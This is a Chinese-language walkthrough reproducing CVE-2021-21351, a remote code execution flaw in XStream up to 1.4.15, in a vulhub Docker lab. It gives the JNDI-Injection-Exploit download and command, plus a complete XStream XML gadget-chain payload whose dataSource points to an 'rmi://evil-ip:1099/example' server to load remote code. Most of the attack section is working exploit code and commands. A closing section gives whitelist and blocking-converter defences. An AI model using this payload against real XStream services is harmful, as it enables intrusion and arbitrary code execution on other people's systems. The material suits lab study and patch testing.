CVE-2021-21351 XStream反序列化远程代码执行漏洞
0x00 简介
XStream是Java类库，用来将对象序列化成XML （JSON）或反序列化为对象。XStream是自由软件，可以在BSD许可证的许可下分发。它是一种OXMapping 技术，是用来处理XML文件序列化的框架在将javaBean序列化，或将XML文件反序列化的时候，不需要其它辅助类和映射文件，使得XML序列化不再繁琐。
0x01 漏洞概述
在 1.4.16 版本之前的 XStream 中，存在一个漏洞，允许远程攻击者仅通过操纵处理后的输入流，解组时处理的流包含类型信息以重新创建以前编写的对象，XStream 因此基于这些类型信息创建新实例，攻击者可以操纵处理过的输入流并替换或注入对象，从而执行从远程服务器加载的任意代码。没有用户受到影响，他们遵循建议设置 XStream 的安全框架，并将白名单限制为所需的最少类型。如果您依赖 XStream 的默认安全框架黑名单，则必须至少使用 1.4.16 版本。
0x02 影响范围
Xstream<=1.4.15
0x03 环境搭建
1.使用docker进行验证
https://github.com/vulhub/vulhub/tree/master/xstream/CVE-2021-21351
2.启动及运行该环境
docker-compose up -d
2.查看环境启动情况
启动成功后访问
http://192.168.141.131:8080
3.Bp抓包，测试服务器是否启动
把GET请求改为POST，并添加如下命令
MAX
99
如上，服务器正常
0x04 漏洞复现
该漏洞需org.apache.naming.factory.BeanFactory`借助EL表达式注入来执行任意命令，使用JNDI-Injection-Exploit工具可以启动JNDI服务器以获得 JNDI 链接，可以将这些链接插入到你的POC中来测试漏洞
工具链接
https://github.com/welk1n/JNDI-Injection-Exploit/
1.下载该工具jar文件
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
2.使用如下命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.141.131
3.使用箭头所指的基于SpringBoot漏洞利用工具的RMI地址
rmi://192.168.141.131:1099/7kqx32
作为POC中的
rmi://evil-ip:1099/example
POC如下
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
复制到bp中进行修改并发送
其中 “evil-ip” 处要修改为攻击机的ip，如下图所示
右边出现报错，说明跳转页面url无对应值，不影响复现结果
4.进入容器，执行
docker-compose exec web bash
“ls /tmp/” 查看可知 “touch /tmp/success” 已被执行，成功创建了 “success” 文件
0x05 防护建议
1.配置XStream的安全框架为允许的类型使用白名单
XStream xstream= new XStream();
XStream.setupDefaultSecurity(xstream);
// 添加您允许的类型，在此处输入层次结构或包
2.注册自己的转换器，以防止解组当前已知的 Java 运行时关键类型
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null
&& (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class
|| type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator") || type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") || type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")
|| type.getName().matches("javafx\\.collections\\.ObservableList\\$.*") || type.getName().matches(".*\\$ServiceNameIterator") || type.getName().matches(".*\\$GetterSetterReflection") || type.getName().matches(".*\\$LazyIterator") || type.getName().matches(".*\\.bcel\\..*\\.util\\.ClassLoader")
|| java.io.InputStream.class.isAssignableFrom(type) || java.nio.channels.Channel.isAssignableFrom(type) || javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)
|| Proxy.isProxy(type));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_VERY_HIGH);
3.升级Xstream到最新版本